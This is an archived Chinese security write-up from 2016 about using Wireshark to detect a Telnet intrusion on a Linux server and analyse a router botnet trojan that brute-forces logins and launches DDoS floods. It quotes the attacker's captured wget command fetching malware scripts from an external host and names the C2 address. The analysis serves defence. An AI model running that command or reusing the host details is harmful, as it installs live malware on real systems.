# WireShark黑客发现之旅（8）—针对路由器的Linux木马 Author: 乌云历史资料库 (@wooyun_archive) Published: 2016-04-25T02:24:00Z Canonical: https://wepostx.com/topics/214 > 乌云历史资料归档 > > **原始作者：** 聚锋实验室 > **原始编号：** superkieran-wooyundrops:1165 > **原始发布时间：** 2016-04-25 10:24 > **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。** --- Author：Mr.Right、Gongmo 申明：文中提到的攻击方式仅为曝光、打击恶意网络攻击行为，切勿模仿，否则后果自负。 # 0x00 前言 路由器木马，其主要目标是控制网络的核心路由设备；一旦攻击成功，其危害性远大于一台主机被控。 如果仅仅在路由器上面防范该类木马，那也是不够的，有很多Linux服务器违规开放Telnet端口，且使用了弱口令，一样可以中招。下面我们就一起来回顾一起真实案例。 # 0x01 发现异常 在对客户某服务器区域进行安全监测时发现某服务器通信流量存在大量Telnet协议。截取一段数据，进行协议统计： ![原文图片](/media/2016/06/47e23b5f09312781e7d6cc4b785a9139) Telnet协议一般为路由器管理协议，服务器中存在此协议可初步判断为异常流量。继续进行端口、IP走向统计：发现大量外部IP通过Tcp23端口（Telnet）连接该服务器。 ![原文图片](/media/2016/06/4adaf1888077716d2d925614da13e1ab) 此统计可说明： - 该服务器违规开放了TCP23端口； - 该服务器遭到大量Telnet攻击，有可能是暴力破解，也有可能是已经成功连接。 挑选通信量较大的IP，筛选通信双向数据： ![原文图片](/media/2016/06/641b064f0fdaaff01558c4c810366ba4) 查看Telnet数据，发现已经成功连接该服务器。 ![原文图片](/media/2016/06/45ba3efd0664dea3503a982484e7657c) 数据中还存在大量Telnet扫描探测、暴力破解攻击，在此不再详述。 # 0x02 获取样本 为进一步查看Telnet通信内容，Follow TcpStream。 ![原文图片](/media/2016/06/a31e6b4044dc113824a172d4a63f61df) 将内容复制粘贴至文本编辑器： ![原文图片](/media/2016/06/d11e6f2c07e25649ee79153394477cf2) 发现一段自动下载命令： ```text #!bash wget http://208.67.1.42/bin.sh; wget1 http://208.67.1.42/bin2.sh。 ``` 连接http://208.67.1.42/bin.sh可发现该脚本文件内容为自动下载获取木马，且木马可感染ARM、MIPS、X86、PowerPC等架构的设备。 ![原文图片](/media/2016/06/5382dd97fb771d791b651526e2a04585) # 0x03 木马分析 （注：本章节不属于Wireshark分析范畴，本文仅以jackmyx86分析为例） 该木马文件是ELF格式的，影响的操作系统包括： ![原文图片](/media/2016/06/bd2df6d44ec849696000bb8174105260) 从上图中判断木马下载的类型分别是：Mipsel,misp,x86(其实这个是x64),arm,x86(i586,i686)等。 从截获的*.sh文件看，*.sh脚本想删除这些目录和内容，并且关闭一些进程。 ![原文图片](/media/2016/06/02fdb3f436e7c6ca84287b9c6ae9e785) 首先得到了一个”Art of war”的字符串（看来黑客是个文艺青年）。 ![原文图片](/media/2016/06/35dcb780654e26a3a5c391e5a4443aac) 接着尝试打开路由器配置文件。 ![原文图片](/media/2016/06/96a0cbdb107c164e4515be7a4c2f7a19) 在配置文件里查找字符串00000000，如果找到就直接填充0； ![原文图片](/media/2016/06/b8eba7ddd32babf567b7380908adf0bb) 在初始化函数中：尝试建立socket连接，连接地址为：208.67.1.194:164。 ![原文图片](/media/2016/06/1e1b5e3b6c05e51d3fd968731b969ac3) 尝试连接服务器，等待远端服务器应答。 ![原文图片](/media/2016/06/e41e34c9a344b9b2591cadf257ace99a) 服务器发送“ping”命令后，客户端返回“pong”表示已经连接成功。当发送“GETLOCALIP”后，返回控制端的本机IP。当服务器发送SCANNER后，根据ON或者OFF来控制是否要扫描指定IP，进行暴力破解。当发送“UDP”命令时候，向指定的IP地址发送大量UDP无效数据包。 ![原文图片](/media/2016/06/179aa4f5f4e97b10652cf5e80e6da476) ![原文图片](/media/2016/06/1004fdd5191f910d904852c45f2b257e) ![原文图片](/media/2016/06/b0880a9add17d0503f9f2a56d9730f64) 下图是木马尝试获得路由器的用户名和密码匹配，企图暴力破解账户和密码。 ![原文图片](/media/2016/06/12c90b624477277920114ceaa7823177) ![原文图片](/media/2016/06/0116cd46594690a25a9914512abe8f77) ![原文图片](/media/2016/06/5cdd5d7d9016ef97ffc99f54f7cdc2b1) 在被控制之后，跟随服务器指定的IP，发送大量随机生成的长度为0x400的字符串数据，进行DDOS攻击。下图是发送垃圾数据,进行DDOS攻击。 ![原文图片](/media/2016/06/eea207f9dd3d14fd3802d36e07498e71) ![原文图片](/media/2016/06/05ba0732530f84c0edede1045d7d9747) 随机数据生成的伪代码如下： ![原文图片](/media/2016/06/5b6178202e64a36a14f5322e718df5b9) 根据网址追溯到攻击者的网页和twitter账号。 ![原文图片](/media/2016/06/ed71a7f6d98274e75d903449a06f3082) ![原文图片](/media/2016/06/3302d3c0717012093e0eda93584c9339) ![原文图片](/media/2016/06/f4d6074ff6b9362330d42d4666697425) # 0x04 总结 - 路由器的管理如非必须，尽量不开放互联网管理通道 - 路由器管理密码必须强口令、最好超强 - Linux服务器一般不要打开Telnet服务 - 该木马一般利用爆破和漏洞来攻击路由器或开启Telnet服务的Linux服务器，中招后接受木马作者的控制，最后进行大量DDOS攻击 ## Replies